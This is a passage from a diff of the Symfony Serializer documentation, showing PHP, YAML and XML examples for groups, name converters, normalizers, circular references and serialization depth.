$person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json'); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + + $person1 = $serializer->deserialize( + '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}', + Person::class, + 'json' + ); + // the "potentiallySpamUser" value is ignored + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + // ... + + // you need to pass a class metadata factory with a loader to the + // ObjectNormalizer when reading mapping information like Ignore or Groups. + // E.g. when using PHP attributes: + $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); + $normalizers = [new ObjectNormalizer($classMetadataFactory)]; + + $serializer = new Serializer($normalizers, $encoders); + + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json'); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + + $person1 = $serializer->deserialize( + '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}', + Person::class, + 'json' + ); + // the "potentiallySpamUser" value is ignored + +Ignoring Attributes Using the Context +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can also pass an array of attribute names to ignore at runtime using +the ``ignored_attributes`` context options:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + + // ... + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json', + [ + AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'], + ]); + // $json contains {"name":"Jane Doe","sportsperson":false} + +However, this can quickly become unmaintainable if used excessively. See +the next section about *serialization groups* for a better solution. + +.. _serializer-groups-attribute: + +Selecting Specific Properties +----------------------------- + +Instead of excluding a property or method in all situations, you might need +to exclude some properties in one place, but serialize them in another. +Groups are a handy way to achieve this. + +You can add the ``#[Groups]`` attribute to your class: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\Groups; + + class Person + { + #[Groups(["admin-view"])] + private int $age; + + #[Groups(["public-view"])] + private string $name; + + #[Groups(["public-view"])] + private bool $sportsperson; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + age: + groups: ['admin-view'] + name: + groups: ['public-view'] + sportsperson: + groups: ['public-view'] + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="age"> + <group>admin-view</group> + </attribute> + <attribute name="name"> + <group>public-view</group> + </attribute> + <attribute name="sportsperson"> + <group>public-view</group> + </attribute> + </class> + </serializer> + +You can now choose which groups to use when serializing:: + + $json = $serializer->serialize( + $person, + 'json', + ['groups' => 'public-view'] + ); + // $json contains {"name":"Jane Doe","sportsperson":false} + + // you can also pass an array of groups + $json = $serializer->serialize( + $person, + 'json', + ['groups' => ['public-view', 'admin-view']] + ); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + + // or use the special "*" value to select all groups + $json = $serializer->serialize( + $person, + 'json', + ['groups' => '*'] + ); + // $json contains {"name":"Jane Doe","age":32,"sportsperson":false} + +Using the Serialization Context +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +At last, you can also use the ``attributes`` context option to select +properties at runtime:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + // ... + + $json = $serializer->serialize($person, 'json', [ + AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']] + ]); + // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}} + +Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>` +are available. If serialization groups are set, only attributes allowed by +those groups can be used. + +.. _serializer-handling-arrays: + +Handling Arrays +--------------- + +The serializer is capable of handling arrays of objects. Serializing arrays +works just like serializing a single object:: + + use App\Model\Person; + + // ... + $person1 = new Person('Jane Doe', 39, false); + $person2 = new Person('John Smith', 52, true); + + $persons = [$person1, $person2]; + $JsonContent = $serializer->serialize($persons, 'json'); + + // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}] + +To deserialize a list of objects, you have to append ``[]`` to the type +parameter:: + + // ... + + $jsonData = ...; // the serialized JSON data from the previous example + $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json'); + +For nested classes, you have to add a PHPDoc type to the property/setter:: + + // src/Model/UserGroup.php + namespace App\Model; + + class UserGroup + { + private array $members; + + // ... + + /** + * @param Person[] $members + */ + public function setMembers(array $members): void + { + $this->members = $members; + } + } + +.. tip:: + + The Serializer also supports array types used in static analysis, like + ``list<Person>`` and ``array<Person>``. Make sure the + ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock`` + packages are installed (these are part of the ``symfony/serializer-pack``). + +.. _serializer-nested-structures: + +Deserializing Nested Structures +------------------------------- + +.. versionadded:: 6.2 + + The option to configure a ``SerializedPath`` was introduced in Symfony 6.2. + +Some APIs might provide verbose nested structures that you want to flatten +in the PHP object. For instance, imagine a JSON response like this: + +.. code-block:: json + + { + "id": "123", + "profile": { + "username": "jdoe", + "personal_information": { + "full_name": "Jane Doe" + } + } + } + +You may wish to serialize this information to a single PHP object like:: + + class Person + { + private int $id; + private string $username; + private string $fullName; + } + +Use the ``#[SerializedPath]`` to specify the path of the nested property +using :doc:`valid PropertyAccess syntax </components/property_access>`: + +.. configuration-block:: + + .. code-block:: php-attributes + + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\SerializedPath; + + class Person + { + private int $id; + + #[SerializedPath('[profile][username]')] + private string $username; + + #[SerializedPath('[profile][personal_information][full_name]')] + private string $fullName; + } + + .. code-block:: yaml + + App\Model\Person: + attributes: + username: + serialized_path: '[profile][username]' + fullName: + serialized_path: '[profile][personal_information][full_name]' + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="username" serialized-path="[profile][username]"/> + <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/> + </class> + </serializer> + +.. caution:: + + The ``SerializedPath`` cannot be used in combination with a + ``SerializedName`` for the same property. + +The ``#[SerializedPath]`` attribute also applies to the serialization of a +PHP object:: + + use App\Model\Person; + // ... + + $person = new Person(123, 'jdoe', 'Jane Doe'); + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}} + +.. _serializer-name-conversion: + +Converting Property Names when Serializing and Deserializing +------------------------------------------------------------ + +Sometimes serialized attributes must be named differently than properties +or getter/setter methods of PHP classes. This can be achieved using name +converters. + +The serializer service uses the +:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`. +With this name converter, you can change the name of an attribute using +the ``#[SerializedName]`` attribute: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\SerializedName; + + class Person + { + #[SerializedName('customer_name')] + private string $name; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Entity\Person: + attributes: + name: + serialized_name: customer_name + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Entity\Person"> + <attribute name="name" serialized-name="customer_name"/> + </class> + </serializer> + +This custom mapping is used to convert property names when serializing and +deserializing objects: + +.. configuration-block:: + + .. code-block:: php-symfony + + // ... + + $json = $serializer->serialize($person, 'json'); + // $json contains {"customer_name":"Jane Doe", ...} + + .. code-block:: php-standalone + + use App\Model\Person; + use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; + use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader; + use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + use Symfony\Component\Serializer\Serializer; + + // ... + + // Configure a loader to retrieve mapping information like SerializedName. + // E.g. when using PHP attributes: + $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader()); + $nameConverter = new MetadataAwareNameConverter($classMetadataFactory); + $normalizers = [ + new ObjectNormalizer($classMetadataFactory, $nameConverter), + ]; + + $serializer = new Serializer($normalizers, $encoders); + + $person = new Person('Jane Doe', 32, false); + $json = $serializer->serialize($person, 'json'); + // $json contains {"customer_name":"Jane Doe", ...} + +.. seealso:: + + You can also create a custom name converter class. Read more about this + in :doc:`/serializer/custom_name_converter`. + +.. _using-camelized-method-names-for-underscored-attributes: + +CamelCase to snake_case +~~~~~~~~~~~~~~~~~~~~~~~ + +In many formats, it's common to use underscores to separate words (also known +as snake_case). However, in Symfony applications is common to use camelCase to +name properties. + +Symfony provides a built-in name converter designed to transform between +snake_case and CamelCased styles during serialization and deserialization +processes. You can use it instead of the metadata aware name converter by +setting the ``name_converter`` setting to +``serializer.name_converter.camel_case_to_snake_case``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/serializer.yaml + framework: + serializer: + name_converter: 'serializer.name_converter.camel_case_to_snake_case' + + .. code-block:: xml + + <!-- config/packages/serializer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:serializer + name-converter="serializer.name_converter.camel_case_to_snake_case" + /> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/serializer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->serializer() + ->nameConverter('serializer.name_converter.camel_case_to_snake_case') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter; + use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; + + // ... + $normalizers = [ + new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()), + ]; + $serializer = new Serializer($normalizers, $encoders); + +.. _serializer-built-in-normalizers: + +Serializer Normalizers +---------------------- + +By default, the serializer service is configured with the following +normalizers (in order of priority): + +:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer` + Can be used to only denormalize a part of the input, read more about + this :ref:`later in this article <serializer-unwrapping-denormalizer>`. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` + Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` + errors according to the API Problem spec `RFC 7807`_. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` + Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`. + + The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid` + is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``). + The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid` + is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``). + You can change the string format by setting the serializer context option + ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``, + ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``. + + Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid` + or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` + This normalizes between :phpclass:`DateTimeInterface` objects (e.g. + :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings. + + By default, the `RFC 3339`_ format is used when normalizing the value. + Use ``DateTimeNormalizer::FORMAT_KEY`` and ``DateTimeNormalizer::TIMEZONE_KEY`` + to change the format. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` + This normalizer converts objects that implement + :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` + into a list of errors according to the `RFC 7807`_ standard. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` + This normalizer converts between :phpclass:`DateTimeZone` objects and strings that + represent the name of the timezone according to the `list of PHP timezones`_. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` + This normalizes between :phpclass:`DateInterval` objects and strings. + By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the + ``DateIntervalNormalizer::FORMAT_KEY`` option to change this. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` + This normalizer works with classes that implement + :class:`Symfony\\Component\\Form\\FormInterface`. + + It will get errors from the form and normalize them according to the + API Problem spec `RFC 7807`_. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer` + This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` + to a translated string using the :doc:`translator </translation>`. + + You can define the locale to use to translate the object by setting the + ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option. + + .. versionadded:: 6.4 + + The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3. + The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer` + was introduced in Symfony 6.4. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer` + This normalizer converts between :phpclass:`BackedEnum` enums and + strings or integers. + + By default, an exception is thrown when data is not a valid backed enumeration. If you + want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option. + + .. versionadded:: 6.3 + + The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` + This normalizer converts between :phpclass:`SplFileInfo` objects and a + `data URI`_ string (``data:...``) such that files can be embedded into + serialized data. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` + This normalizer works with classes that implement :phpclass:`JsonSerializable`. + + It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and + then further normalize the result. This means that nested + :phpclass:`JsonSerializable` classes will also be normalized. + + This normalizer is particularly helpful when you want to gradually migrate + from an existing codebase using simple :phpfunction:`json_encode` to the Symfony + Serializer by allowing you to mix which normalizers are used for which classes. + + Unlike with :phpfunction:`json_encode` circular references can be handled. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` + This denormalizer converts an array of arrays to an array of objects + (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` + This is the most powerful default normalizer and used for any object + that could not be normalized by the other normalizers. + + It leverages the :doc:`PropertyAccess Component </components/property_access>` + to read and write in the object. This allows it to access properties + directly or using getters, setters, hassers, issers, canners, adders and + removers. Names are generated by removing the ``get``, ``set``, + ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and + transforming the first letter to lowercase (e.g. ``getFirstName()`` -> + ``firstName``). + + During denormalization, it supports using the constructor as well as + the discovered methods. + +:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` + +.. danger:: + + Always make sure the ``DateTimeNormalizer`` is registered when + serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid + excessive memory usage and exposing internal details. + +Built-in Normalizers +~~~~~~~~~~~~~~~~~~~~ + +Besides the normalizers registered by default (see previous section), the +serializer component also provides some extra normalizers.You can register +these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`. +For instance, to use the ``CustomNormalizer`` you have to define a service +like: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + # if you're using autoconfigure, the tag will be automatically applied + Symfony\Component\Serializer\Normalizer\CustomNormalizer: + tags: + # register the normalizer with a high priority (called earlier) + - { name: 'serializer.normalizer', priority: 500 } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <!-- if you're using autoconfigure, the tag will be automatically applied --> + <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer"> + <!-- register the normalizer with a high priority (called earlier) --> + <tag name="serializer.normalizer" + priority="500" + /> + </service> + </services> + </container> + + .. code-block:: php - return static function (FrameworkConfig $framework): void { - $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case'); + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\Serializer\Normalizer\CustomNormalizer; + + return function(ContainerConfigurator $container) { + // ... + + // if you're using autoconfigure, the tag will be automatically applied + $services->set(CustomNormalizer::class) + // register the normalizer with a high priority (called earlier) + ->tag('serializer.normalizer', [ + 'priority' => 500, + ]) + ; }; +:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` + This normalizer calls a method on the PHP object when normalizing. The + PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface` + and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`. + +:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` + This normalizer is an alternative to the default ``ObjectNormalizer``. + It reads the content of the class by calling the "getters" (public + methods starting with ``get``, ``has``, ``is`` or ``can``). It will + denormalize data by calling the constructor and the "setters" (public + methods starting with ``set``). + + Objects are normalized to a map of property names and values (names are + generated by removing the ``get`` prefix from the method name and transforming + the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``). + +:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` + This is yet another alternative to the ``ObjectNormalizer``. This + normalizer directly reads and writes public properties as well as + **private and protected** properties (from both the class and all of + its parent classes) by using `PHP reflection`_. It supports calling the + constructor during the denormalization process. + + Objects are normalized to a map of property names to property values. + + You can also limit the normalizer to only use properties with a specific + visibility (e.g. only public properties) using the + ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it + to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``, + ``PropertyNormalizer::NORMALIZE_PROTECTED`` and + ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants:: + + use Symfony\Component\Serializer\Normalizer\PropertyNormalizer; + // ... + + $json = $serializer->serialize($person, 'json', [ + // only serialize public properties + PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC, + + // serialize public and protected properties + PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED, + ]); + + .. versionadded:: 6.2 + + The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its + values were introduced in Symfony 6.2. + Debugging the Serializer ------------------------ +.. versionadded:: 6.3 + + The debug:serializer`` command was introduced in Symfony 6.3. + Use the ``debug:serializer`` command to dump the serializer metadata of a given class: @@ -553,39 +1520,609 @@ given class: | | ] | +----------+------------------------------------------------------------+ +Advanced Serialization +---------------------- + +Skipping ``null`` Values +~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, the Serializer will preserve properties containing a ``null`` value. +You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option +to ``true``:: + + class Person + { + public string $name = 'Jane Doe'; + public ?string $gender = null; + } + + $jsonContent = $serializer->serialize(new Person(), 'json', [ + AbstractObjectNormalizer::SKIP_NULL_VALUES => true, + ]); + // $jsonContent contains {"name":"Jane Doe"} + +Handling Uninitialized Properties +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In PHP, typed properties have an ``uninitialized`` state which is different +from the default ``null`` of untyped properties. When you try to access a typed +property before giving it an explicit value, you get an error. + +To avoid the serializer throwing an error when serializing or normalizing +an object with uninitialized properties, by default the ``ObjectNormalizer`` +catches these errors and ignores such properties. + +You can disable this behavior by setting the +``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to +``false``:: + + class Person { + public string $name = 'Jane Doe'; + public string $phoneNumber; // uninitialized + } + + $jsonContent = $normalizer->serialize(new Dummy(), 'json', [ + AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false, + ]); + // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException + // as the ObjectNormalizer cannot read uninitialized properties + +.. note:: + + Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` + or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` + with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context + option set to ``false`` will throw an ``\Error`` instance if the given + object has uninitialized properties as the normalizers cannot read them + (directly or via getter/isser methods). + +.. _component-serializer-handling-circular-references: + +Handling Circular References +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Circular references are common when dealing with associated objects:: + + class Organization + { + public function __construct( + private string $name, + private array $members = [] + ) { + } + + public function getName(): string + { + return $this->name; + } + + public function addMember(Member $member): void + { + $this->members[] = $member; + } + + public function getMembers(): array + { + return $this->members; + } + } + + class Member + { + private Organization $organization; + + public function __construct( + private string $name + ) { + } + + public function getName(): string + { + return $this->name; + } + + public function setOrganization(Organization $organization): void + { + $this->organization = $organization; + } + + public function getOrganization(): Organization + { + return $this->organization; + } + } + +To avoid infinite loops, the normalizers throw a +:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException` +when such a case is encountered:: + + $organization = new Organization('Les-Tilleuls.coop'); + $member = new Member('Kévin'); + + $organization->addMember($member); + $member->setOrganization($organization); + + $jsonContent = $serializer->serialize($organization, 'json'); + // throws a CircularReferenceException + +The key ``circular_reference_limit`` in the context sets the number of +times it will serialize the same object before considering it a circular +reference. The default value is ``1``. + +Instead of throwing an exception, circular references can also be handled +by custom callables. This is especially useful when serializing entities +having unique identifiers:: + + use Symfony\Component\Serializer\Exception\CircularReferenceException; + + $context = [ + AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string { + if (!$object instanceof Organization) { + throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".'); + } + + // serialize the nested Organization with only the name (and not the members) + return $object->getName(); + }, + ]; + + $jsonContent = $serializer->serialize($organization, 'json', $context); + // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]} + +.. _serializer_handling-serialization-depth: + +Handling Serialization Depth +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The serializer can also detect nested objects of the same class and limit +the serialization depth. This is useful for tree structures, where the same +object is nested multiple times. + +For instance, assume a data structure of a family tree:: + + // ... + class Person + { + // ... + + public function __construct( + private string $name, + private ?self $mother + ) { + } + + public function getName(): string + { + return $this->name; + } + + public function getMother(): ?self + { + return $this->mother; + } + + // ... + } + + // ... + $greatGrandmother = new Person('Elizabeth', null); + $grandmother = new Person('Jane', $greatGrandmother); + $mother = new Person('Sophie', $grandmother); + $child = new Person('Joe', $mother); + +You can specify the maximum depth for a given property. For instance, you +can set the max depth to ``1`` to always only serialize someone's mother +(and not their grandmother, etc.): + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/Person.php + namespace App\Model; + + use Symfony\Component\Serializer\Attribute\MaxDepth; + + class Person + { + #[MaxDepth(1)] + private ?self $mother; + + // ... + } + + .. code-block:: yaml + + # config/serializer/person.yaml + App\Model\Person: + attributes: + mother: + max_depth: 1 + + .. code-block:: xml + + <!-- config/serializer/person.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping + https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" + > + <class name="App\Model\Person"> + <attribute name="mother" max-depth="1"/> + </class> + </serializer> + +To limit the serialization depth, you must set the +``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the +context (or the default context specified in ``framework.yaml``):: + + // ... + $greatGrandmother = new Person('Elizabeth', null); + $grandmother = new Person('Jane', $greatGrandmother); + $mother = new Person('Sophie', $grandmother); + $child = new Person('Joe', $mother); + + $jsonContent = $serializer->serialize($child, null, [ + AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true + ]); + // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}} + +You can also configure a custom callable that is used when the maximum +depth is reached. This can be used to for instance return the unique +identifier of the next nested object, instead of omitting the property:: + + use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; + // ... + + $greatGrandmother = new Person('Elizabeth', null); + $grandmother = new Person('Jane', $greatGrandmother); + $mother = new Person('Sophie', $grandmother); + $child = new Person('Joe', $mother); + + // all callback parameters are optional (you can omit the ones you don't use) + $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string { + // return only the name of the next person in the tree + return $innerObject instanceof Person ? $innerObject->getName() : null; + }; + + $jsonContent = $serializer->serialize($child, null, [ + AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true, + AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler, + ]); + // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}} + +Using Callbacks to Serialize Properties with Object Instances +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When serializing, you can set a callback to format a specific object +property. This can be used instead of +:ref:`defining the context for a group <serializer-context-group>`:: + + $person = new Person('cordoval', 34); + $person->setCreatedAt(new \DateTime('now')); + + $context = [ + AbstractNormalizer::CALLBACKS => [ + // all callback parameters are optional (you can omit the ones you don't use) + 'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) { + return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : ''; + }, + ], + ]; + $jsonContent = $serializer->serialize($person, 'json'); + // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"} + +Advanced Deserialization +------------------------ + +Require all Properties +~~~~~~~~~~~~~~~~~~~~~~ + .. versionadded:: 6.3 - The debug:serializer`` command was introduced in Symfony 6.3. + The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option + was introduced in Symfony 6.3. -Going Further with the Serializer ---------------------------------- +By default, the Serializer will add ``null`` to nullable properties when +the parameters for those are not provided. You can change this behavior by +setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option +to ``true``:: + + class Person + { + public function __construct( + public string $firstName, + public ?string $lastName, + ) { + } + } + + // ... + $data = ['firstName' => 'John']; + $person = $serializer->deserialize($data, Person::class, 'json', [ + AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true, + ]); + // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException + +Collecting Type Errors While Denormalizing +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When denormalizing a payload to an object with typed properties, you'll get an +exception if the payload contains properties that don't have the same type as +the object. + +Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions +at once, and to get the object partially denormalized:: + + try { + $person = $serializer->deserialize($jsonString, Person::class, 'json', [ + DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true, + ]); + } catch (PartialDenormalizationException $e) { + $violations = new ConstraintViolationList(); + + /** @var NotNormalizableValueException $exception */ + foreach ($e->getErrors() as $exception) { + $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType()); + $parameters = []; + if ($exception->canUseMessageForUser()) { + $parameters['hint'] = $exception->getMessage(); + } + $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null)); + } + + // ... return violation list to the user + } + +.. _serializer-populate-existing-object: + +Deserializing in an Existing Object +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The serializer can also be used to update an existing object. You can do +this by configuring the ``object_to_populate`` serializer context option:: + + use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; + + // ... + $person = new Person('Jane Doe', 59); + + $serializer->deserialize($jsonData, Person::class, 'json', [ + AbstractNormalizer::OBJECT_TO_POPULATE => $person, + ]); + // instead of returning a new object, $person is updated instead + +.. note:: + + The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for + the top level object. If that object is the root of a 